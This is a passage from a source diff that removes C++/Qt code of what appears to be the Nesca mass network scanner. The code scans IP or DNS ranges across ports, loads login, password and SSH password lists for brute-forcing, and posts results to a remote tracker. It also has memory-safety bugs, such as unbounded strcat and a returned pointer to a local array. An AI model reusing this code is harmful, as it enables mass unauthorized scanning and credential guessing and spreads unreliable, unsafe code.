[]totalErrLog; - totalErrLog = NULL; - }; -} - -QString GetNSErrorDefinition(const char *str, const char *elem) -{ - const char *temp = strstr(str, elem); - - if(temp != NULL) - { - char definition[128] = {0}; - const char *firstComma = strstr(temp + strlen(elem) + 1, "\""); - const char *lastComma = strstr(firstComma + 1, "\""); - - int sz = lastComma - firstComma - 1; - - strncpy(definition, firstComma + 1, (sz < 128 ? sz : 128)); - - return QString(definition); - } - else return QString("No definition found!"); -} - -void ConInc() -{ - ++ipCounter; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -__asm - { - lock inc cons; - }; -#else - asm("lock; incl cons"); -#endif - - stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -} - -void ConDec() -{ - if(cons > 0) - { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - __asm - { - lock dec cons; - }; -#else - asm("lock; decl cons"); -#endif - - }; - - stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -} - -void _SaveBackupToFile() -{ - char saveStr[512] = {0}; - char saveBuffer[4096] = {0}; - char endStr[128] = {0}; - - if(gMode == 0 || gMode == 1) - { - if(gMode == 1) - { - strcpy(endStr, currentIP); - } - else - { - sprintf(endStr, "%s-%s", currentIP, finalIP); - }; - - if(strlen(endStr) > 0) - { - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " "); - strcat(saveStr, endStr); - if(gMode == 1) - { - strcat(saveStr, " "); - strcat(saveStr, top_level_domain); - }; - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - }; - } - else if(gMode == -1) - { - char ipRange[128] = {0}; - - if(flCounter > 0) - { - FILE *savingFile = fopen("tempIPLst.bk", "w"); - if (savingFile != NULL) - { - for(int tCounter = gC; tCounter < flCounter; ++tCounter) - { - sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n", - ipsstartfl[tCounter][0], ipsstartfl[tCounter][1], ipsstartfl[tCounter][2], ipsstartfl[tCounter][3], - ipsendfl[tCounter][0], ipsendfl[tCounter][1], ipsendfl[tCounter][2], ipsendfl[tCounter][3]); - - fputs(ipRange, savingFile); - - ZeroMemory(ipRange, sizeof(ipRange)); - }; - fclose(savingFile); - } - else stt->doEmitionRedFoundData("[_saver] Cannot open file."); - }; - - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " RESTORE_IMPORT_SESSION"); - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - }; - - strcpy(saveStr, "[NDBSERVER]:"); - strcat(saveStr, trcSrv); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[NDBSCRIPT]:"); - strcat(saveStr, trcScr); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[NDBPORT]:"); - strcat(saveStr, trcSrvPortLine); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PROXY]:"); - strcat(saveStr, trcProxy); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PROXYPORT]:"); - strcat(saveStr, trcPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCSERVER]:"); - strcat(saveStr, ircServer); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPORT]:"); - strcat(saveStr, ircPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPROXY]:"); - strcat(saveStr, ircProxy); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPROXYPORT]:"); - strcat(saveStr, ircProxyPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCNICK]:"); - strcat(saveStr, ircNick); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PING]:"); - strcat(saveStr, gPingNScan ? "true" : "false"); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[THREAD_DELAY]: %d\n", gThreadDelay); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[SYSTEMPROXYIP]: %s\n", gProxyIP); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[SYSTEMPROXYPORT]: %s\n", gProxyPort); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PERSKEY]:"); - strncat(saveStr, trcPersKey, 32); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - FILE *savingFile = fopen("restore", "w"); - - if (savingFile != NULL) - { - fputs(saveBuffer, savingFile); - fclose(savingFile); - } - else stt->doEmitionRedFoundData("[_saver] Cannot open file."); - - ZeroMemory(saveStr, strlen(saveStr)); - ZeroMemory(saveBuffer, strlen(saveBuffer)); -} - -void _saver() -{ - while(globalScanFlag) - { - __savingBackUpFile = true; - _SaveBackupToFile(); - __savingBackUpFile = false; - Sleep(10000); - }; -} - -void _timer() { - char dbuffer[32] = {0}, timeLeft[64] = {0}, b[32] = {0}; - int ticks = 0; - int ovrlIPs = 0; - ips = 1; - Sleep(50); - - while(globalScanFlag) - { - ++ticks; - ovrlIPs += ipCounter; - ipCounter = 0; - ips = ovrlIPs/ticks; - strncpy(b, QString::number(ips).toLocal8Bit().data(), 5); - - strcpy(metaIPS, b); - strcat(timeLeft, b); - strcat(timeLeft, "/s ("); - - if(ips > 0) - { - strncpy(dbuffer, std::to_string(((gTargets + 1)/ips/3600/24)).c_str(), 5); - } - else strcpy(dbuffer, "INF"); - strcpy(metaETA, dbuffer); - strcat(dbuffer, "d)"); - strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer)); - - - stt->doEmitionIPS(QString(timeLeft)); - stt->doEmitionOffline(QString::number(offlines)); - - ZeroMemory(timeLeft, sizeof(timeLeft)); - ZeroMemory(dbuffer, sizeof(dbuffer)); - Sleep(1000); - }; -} - -void _tracker() { - while(true) { - while(!trackerOK) Sleep(1000); - - if(globalScanFlag == false && jsonArr->size() == 0) break; - char rBuffT[250000] = {0}; - char *msg = new char[4096]; - ZeroMemory(msg, sizeof(*msg)); - char ndbServer[64] = {0}; - char ndbScriptT[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET /"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.1\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - if(send(sock, msg, strlen(msg), 0) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - char rBuff[512] = {0}; - int test = recv(sock, rBuff, sizeof(rBuff), 0); - strcpy(rBuffT, rBuff); - - while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0) - { - if(strlen(rBuffT) > 200000) - { - stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); - SaveErrorLog("NS-Track", msg, rBuffT); - break; - }; - strcat(rBuffT, rBuff); - }; - - if(test == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - char *t1; - char *t2; - if(strstr(rBuffT, "http://") != NULL) - { - t1 = strstr(rBuffT, "http://"); - if(strstr((char*)(t1 + 7), "/") != NULL) - { - t2 = strstr((char*)(t1 + 7), "/"); - int ln = t2 - t1 - 7; - if(ln > 64) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - SaveErrorLog("NS-Track", msg, rBuffT); - - continue; - } - else strncpy(ndbServer, (char*)(t1 + 7), ln); - - if(strlen(t2) > 64) - { - - stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!"); - - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - - SaveErrorLog("NS-Track", msg, rBuffT); - continue; - } - else - { - strncpy(ndbScriptT, t2, y); - CSSOCKET(sock); - - stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop..."); - - strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) ); - }; - } - else - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - - SaveErrorLog("NS-Track", msg, rBuffT); - continue; - }; - } - else - { - strcpy(ndbScriptT, t2); - - stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop..."); - - CSSOCKET(sock); - strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 ); - }; - } - else - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); - - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - CSSOCKET(sock); - - while(true) - { - if(globalScanFlag == false && jsonArr->size() == 0) break; - if(!trackerOK) { - Sleep(1000); - continue; - }; - - if(jsonArr->size() > 0) - { - QJsonObject jsonKey; - if(jsonArr == NULL) jsonArr = new QJsonArray(); - - QJsonObject jsonMeta; - if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); // - else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode - else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); // - jsonMeta.insert("range", QJsonValue(QString(metaRange)) ); - jsonMeta.insert("current", QJsonValue(QString(currentIP)) ); - if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(top_level_domain))); //TLD - jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) ); - jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) ); - jsonMeta.insert("saved", QJsonValue(QString::number(saved)) ); - jsonMeta.insert("found", QJsonValue(QString::number(found)) ); - jsonMeta.insert("speed", QJsonValue(QString(metaIPS)) ); - jsonMeta.insert("eta", QJsonValue(QString(metaETA)) ); - jsonMeta.insert("threads", QJsonValue(QString::number(cons) + "/" + QString::number(gThreads)) ); - jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) ); - jsonMeta.insert("version", QJsonValue(QString(gVER)) ); - - jsonArr->push_front(QJsonValue(jsonMeta) ); - memset(trcPersKey + 32, '\0', 1); - jsonKey.insert("key", QJsonValue(QString(trcPersKey)) ); - jsonArr->push_front(jsonKey); - - QJsonDocument js; - js.setArray(*jsonArr); - QByteArray r = js.toJson(); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - if(msg != NULL) - { - delete []msg; - msg = 0; - }; - - msg = new char[r.size() + 1024]; - ZeroMemory(msg, sizeof(*msg)); - - strcpy(msg, "POST /"); - strcat(msg, ndbScript); - strcat(msg, " HTTP/1.1\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: "); - strcat(msg, std::to_string(r.size()).c_str()); - strcat(msg, "\r\nConnection: close\r\n\r\n"); - - strcat(msg, r.data()); - - delete jsonArr; - jsonArr = new QJsonArray(); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer)); - }; - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) - { - CSSOCKET(sock); - - - stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Sending!"); - stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]"); - stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]"); - }; - - if(send(sock, msg, strlen(msg), 0) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + "."); - - SaveErrorLog("NS-Track", msg, ""); - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - char msgR[32] = {0}; - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Receiving..."); - }; - - test = recv(sock, rBuff, 512, 0); - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); - }; - - strncpy(msgR, rBuff, 32); - strcpy(rBuffT, rBuff); - while(test > 0) - { - if(test <= 0) break; - - if(strlen(rBuffT) > 200000) - { - stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); - SaveErrorLog("NS-Track", msg, rBuffT); - break; - }; - strcat(rBuffT, rBuff); - test = recv(sock, rBuff, 512, 0); - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); - }; - }; - - if(test == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + "."); - - SaveErrorLog("NS-Track", msg, ""); - continue; - }; - - if(strstr(rBuffT, "201 Created") != NULL) - { - - if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!"); - stt->doEmitionDataSaved(true); - Sleep(1000); - stt->doEmitionDataSaved(false); - - } - else if(strstr(rBuffT, "400 Bad Request") != NULL) - { - - QString errorDef = GetNSErrorDefinition(rBuffT, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]"); - - SaveErrorLog("NS-Track", msg, rBuffT); - } - else - { - stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]"); - SaveErrorLog("NS-Track", msg, rBuffT); - }; - - ZeroMemory(msgR, sizeof(msgR)); - ZeroMemory(rBuffT, sizeof(rBuffT)); - ZeroMemory(msg, sizeof(*msg)); - - if(msg != NULL) - { - delete msg; - msg = NULL; - }; - - CSSOCKET(sock); - }; - Sleep(10000); - }; - } - else - { - stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string."); - SaveErrorLog("NS-Track", msg, rBuffT); - }; - - CSSOCKET(sock); - } -} - -unsigned long int numOfIps(int ipsstart[], int ipsend[]) { - gTargets += 16777216 * (ipsend[0] - ipsstart[0]); - gTargets += 65536 * (ipsend[1] - ipsstart[1]); - gTargets += 256 * (ipsend[2] - ipsstart[2]); - gTargets += (ipsend[3] - ipsstart[3]); - gTargetsOverall = gTargets - 1; - - //unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; - //unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - //unsigned long gTargets = ip2 - ip1; - - return gTargets; -} - -void _connect() { - string ip = ""; - while (globalScanFlag) { - std::unique_lock<std::mutex> lk(Threader::m); - Threader::cv.wait(lk, []{return Threader::ready; }); - if (Threader::threadId > gThreads || !globalScanFlag) { - --Threader::threadId; - Threader::ready = false; - lk.unlock(); - return; - } - - if (!Threader::ipQueue.empty()) { - ip = Threader::ipQueue.front(); - Threader::ipQueue.pop(); - Threader::ready = false; - lk.unlock(); - - if (ip.size() == 0) return; - - ConInc(); - for (int i = 0; i <= overallPorts; ++i) - { - if (globalScanFlag == false) break; - if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break; - }; - ConDec(); - } - } -} - -void verboseProgress(long long unsigned int target, const char *ip) { - - char targetNPers[128] = {0}; - float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); - - stt->doEmitionIPRANGE(QString(ip)); - strcpy(currentIP, ip); - - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); - - sprintf(metaTargets, "%Lu", target); - sprintf(metaPercent, "%.1f", - percent); -} -void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD) { - - char targetNPers[128] = { 0 }; - float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0); - - stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); - strcpy(currentIP, ip); - - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); - - sprintf(metaTargets, "%Lu", target); - sprintf(metaPercent, "%.1f", - percent); -} - -void _passLoginLoader() { - MaxLogin = 0; - MaxPass = 0; - - FILE *loginList; - FILE *passList; - - char buffFG[32] = {0}; - int i = 0; - - loginList = fopen("login.txt", "r"); - passList = fopen("pass.txt", "r"); - - if(passList != NULL && loginList != NULL) - { - while(fgets(buffFG, 32, loginList) != NULL) - { - MaxLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - while(fgets(buffFG, 32, passList) != NULL) - { - MaxPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(loginList); - rewind(passList); - - loginLst = new char*[MaxLogin]; - passLst = new char*[MaxPass]; - - for(int j = 0; j < MaxLogin; j++) - { - loginLst[j] = new char[32]; - }; - - for(int j = 0; j < MaxPass; j++) - { - passLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, passList) != NULL) - { - memset(passLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(passLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); - - i = 0; - - while(fgets(buffFG, 32, loginList) != NULL) - { - memset(loginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(loginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); - - fclose(loginList); - fclose(passList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; - - MaxWFLogin = 0; - MaxWFPass = 0; - - FILE *wfLoginList; - FILE *wfPassList; - - ZeroMemory(buffFG, sizeof(buffFG)); - i = 0; - - wfLoginList = fopen("wflogin.txt", "r"); - wfPassList = fopen("wfpass.txt", "r"); - - if(wfPassList != NULL && wfLoginList != NULL) - { - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - MaxWFLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - while(fgets(buffFG, 32, wfPassList) != NULL) - { - MaxWFPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(wfLoginList); - rewind(wfPassList); - - wfLoginLst = new char*[MaxWFLogin]; - wfPassLst = new char*[MaxWFPass]; - - for(int j = 0; j < MaxWFLogin; j++) - { - wfLoginLst[j] = new char[32]; - }; - - for(int j = 0; j < MaxWFPass; j++) - { - wfPassLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, wfPassList) != NULL) - { - memset(wfPassLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfPassLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); - - i = 0; - - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - memset(wfLoginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfLoginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)"); - fclose(wfPassList); - fclose(wfLoginList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; - - MaxSSHPass = 0; - FILE *sshlpList; - ZeroMemory(buffFG, sizeof(buffFG)); - i = 0; - - sshlpList = fopen("sshpass.txt", "r"); - - if(sshlpList != NULL) - { - while(fgets(buffFG, 32, sshlpList) != NULL) - { - ++MaxSSHPass; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(sshlpList); - - sshlpLst = new char*[MaxSSHPass]; - - for(int j = 0; j < MaxSSHPass; j++) - { - sshlpLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, sshlpList) != NULL) - { - memset(sshlpLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(sshlpLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); - - fclose(sshlpList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; -} - -void ReadUTF8(FILE* nFile, char *cp) { - char buffFG[256] = {0}; - int i = 0; - GlobalNegativeSize = 0; - - if(nFile != NULL) - { - while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL) - { - if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 && - ((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false) - && (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false) - { - ++GlobalNegativeSize; - }; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(nFile); - if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0); - - GlobalNegatives = new char*[GlobalNegativeSize + 2]; - - while(fgets(buffFG, sizeof(buffFG), nFile) != NULL) - { - if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 || - (buffFG[0] == '/' && buffFG[1] == '/')) - { - ZeroMemory(buffFG, sizeof(buffFG)); - continue; - }; - - if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t') - { - char buffFGT[256] = {0}; - strcpy(buffFGT, buffFG); - char *ptr1 = strstr(buffFGT, "\t\t\t"); - ZeroMemory(buffFG, sizeof(buffFG)); - strcpy(buffFG, ptr1 + 3); - }; - - int bSz = strlen(buffFG); - if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10))) - { - ZeroMemory(buffFG, sizeof(buffFG)); - continue; - }; - if(buffFG[bSz] == 13 || buffFG[bSz] == 10) - { - buffFG[bSz] = '\0'; - }; - if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10) - { - buffFG[bSz - 1] = '\0'; - }; - if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10) - { - buffFG[bSz - 2] = '\0'; - }; - - if(strstr((char*)buffFG, "\n") != 0) - { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - res = xcode(buffFG, CP_UTF8, CP_ACP); -#else - res = std::string(buffFG); -#endif - int sz = res.size(); - GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); - memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1); - memset(GlobalNegatives[i] + sz - 1, '\0', 1); - ++i; - } - else - { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - res = xcode(buffFG, CP_UTF8, CP_ACP); -#else - res = std::string(buffFG); -#endif - int sz = res.size(); - GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); - memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz); - memset(GlobalNegatives[i] + sz, '\0', 1); - ++i; - }; - - unsigned char buffcpy2[256] = {0}; - int sz = strlen((char*)buffFG); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); -#else - strncpy((char*)buffcpy2, buffFG, sz); -#endif - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); - ZeroMemory(buffFG, sizeof(buffFG)); - fclose(nFile); - } - else - { - stt->doEmitionRedFoundData("No negative list found"); - stt->doEmitionKillSttThread(); - }; -} - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -unsigned char* ASCIItoUNICODE (unsigned char ch) -{ - unsigned char Val[2]; - if ((ch < 192)&&(ch != 168)&&(ch != 184)) {Val[0] = 0; Val[1] = ch; return Val;} - if (ch == 168) {Val[0] = 208; Val[1] = 129; return Val;} - if (ch == 184) {Val[0] = 209; Val[1] = 145; return Val;} - if (ch < 240) {Val[0] = 208; Val[1] = ch-48; return Val;} - if (ch < 249) {Val[0] = 209; Val[1] = ch-112; return Val;} -} -#endif - -std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0); - LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)]; - MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize); - int size = 